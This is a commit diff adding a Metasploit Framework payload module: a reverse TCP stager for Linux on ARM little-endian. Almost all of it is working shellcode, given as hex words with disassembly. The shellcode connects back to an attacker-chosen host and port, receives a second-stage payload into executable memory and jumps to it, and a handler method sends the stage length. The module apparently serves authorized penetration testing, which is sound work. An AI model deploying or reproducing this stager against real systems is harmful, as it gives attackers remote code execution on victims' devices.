Added reverse stager.

modules/payloads/stagers/linux/armle/reverse_tcp.rb

@@ -0,0 +1,117 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+#   http://metasploit.com/
+##
+
+
+require 'msf/core'
+require 'msf/core/handler/reverse_tcp'
+
+
+###
+#
+# ReverseTcp
+# ----------
+#
+# Linux reverse TCP stager.
+#
+###
+module Metasploit3
+
+	include Msf::Payload::Stager
+
+	def initialize(info = {})
+		super(merge_info(info,
+			'Name'          => 'Reverse TCP Stager',
+			'Description'   => 'Connect back to the attacker',
+			'Author'        => 'nemo',
+			'License'       => MSF_LICENSE,
+			'Platform'      => 'linux',
+			'Arch'          => ARCH_ARMLE,
+			'Handler'       => Msf::Handler::ReverseTcp,
+			'Stager'        =>
+				{
+					'Offsets' =>
+						{
+							'LPORT' => [ 194, 'n'    ],
+							'LHOST' => [ 196, 'ADDR' ],
+						},
+					'Payload' =>
+					[
+						0xe59f70c0,  	  # ldr	r7, [pc, #192]	; 811c <last+0x20>
+						0xe3a00002,  	  # mov	r0, #2
+						0xe3a01001,  	  # mov	r1, #1
+						0xe3a02006,  	  # mov	r2, #6
+						0xef000000,  	  # svc	0x00000000
+						0xe1a0c000,  	  # mov	ip, r0
+						0xe2877002,  	  # add	r7, r7, #2
+						0xe28f109c,  	  # add	r1, pc, #156	; 0x9c
+						0xe3a02010,  	  # mov	r2, #16
+						0xef000000,  	  # svc	0x00000000
+						0xe1a0000c,  	  # mov	r0, ip
+						0xe24dd004,  	  # sub	sp, sp, #4
+						0xe2877008,  	  # add	r7, r7, #8
+						0xe1a0100d,  	  # mov	r1, sp
+						0xe3a02004,  	  # mov	r2, #4
+						0xe3a03000,  	  # mov	r3, #0
+						0xef000000,  	  # svc	0x00000000
+						0xe59d1000,  	  # ldr	r1, [sp]
+						0xe59f307c,  	  # ldr	r3, [pc, #124]	; 8120 <last+0x24>
+						0xe0011003,  	  # and	r1, r1, r3
+						0xe3a02001,  	  # mov	r2, #1
+						0xe1a02602,  	  # lsl	r2, r2, #12
+						0xe0811002,  	  # add	r1, r1, r2
+						0xe3a070c0,  	  # mov	r7, #192	; 0xc0
+						0xe3e00000,  	  # mvn	r0, #0
+						0xe3a02007,  	  # mov	r2, #7
+						0xe59f3060,  	  # ldr	r3, [pc, #96]	; 8124 <last+0x28>
+						0xe1a04000,  	  # mov	r4, r0
+						0xe3a05000,  	  # mov	r5, #0
+						0xef000000,  	  # svc	0x00000000
+						0xe59f7054,  	  # ldr	r7, [pc, #84]	; 8128 <last+0x2c>
+						0xe1a01000,  	  # mov	r1, r0
+						0xe1a0000c,  	  # mov	r0, ip
+						0xe3a03000,  	  # mov	r3, #0
+						0xe59d2000,  	  # ldr	r2, [sp]
+						0xe2422ffa,  	  # sub	r2, r2, #1000	; 0x3e8
+						0xe58d2000,  	  # str	r2, [sp]
+						0xe3520000,  	  # cmp	r2, #0
+						0xda000002,  	  # ble	80fc <last>
+						0xe3a02ffa,  	  # mov	r2, #1000	; 0x3e8
+						0xef000000,  	  # svc	0x00000000
+						0xeafffff7,  	  # b	80dc <loop>
+						0xe2822ffa,  	  # add	r2, r2, #1000	; 0x3e8
+						0xef000000,  	  # svc	0x00000000
+						0xe1a0f001,  	  # mov	pc, r1
+						0xe3a07001,  	  # mov	r7, #1
+						0xe3a00001,  	  # mov	r0, #1
+						0xef000000,  	  # svc	0x00000000
+						0x5c110002,  	  # .word	0x5c110002
+						0x0100007f,  	  # .word	0x0100007f
+						0x00000119,  	  # .word	0x00000119
+						0xfffff000,  	  # .word	0xfffff000
+						0x00001022,  	  # .word	0x00001022
+						0x00000123  	  # .word	0x00000123
+					].pack("V*")
+
+				}
+			))
+	end
+
+	def handle_intermediate_stage(conn, payload)
+
+		print_status("Transmitting stage length value...(#{payload.length} bytes)")
+
+		address_format = 'V'
+
+		# Transmit our intermediate stager
+		conn.put( [ payload.length ].pack(address_format) )
+
+		Rex::ThreadSafe.sleep(0.5)
+
+		return true
+	end
+
+end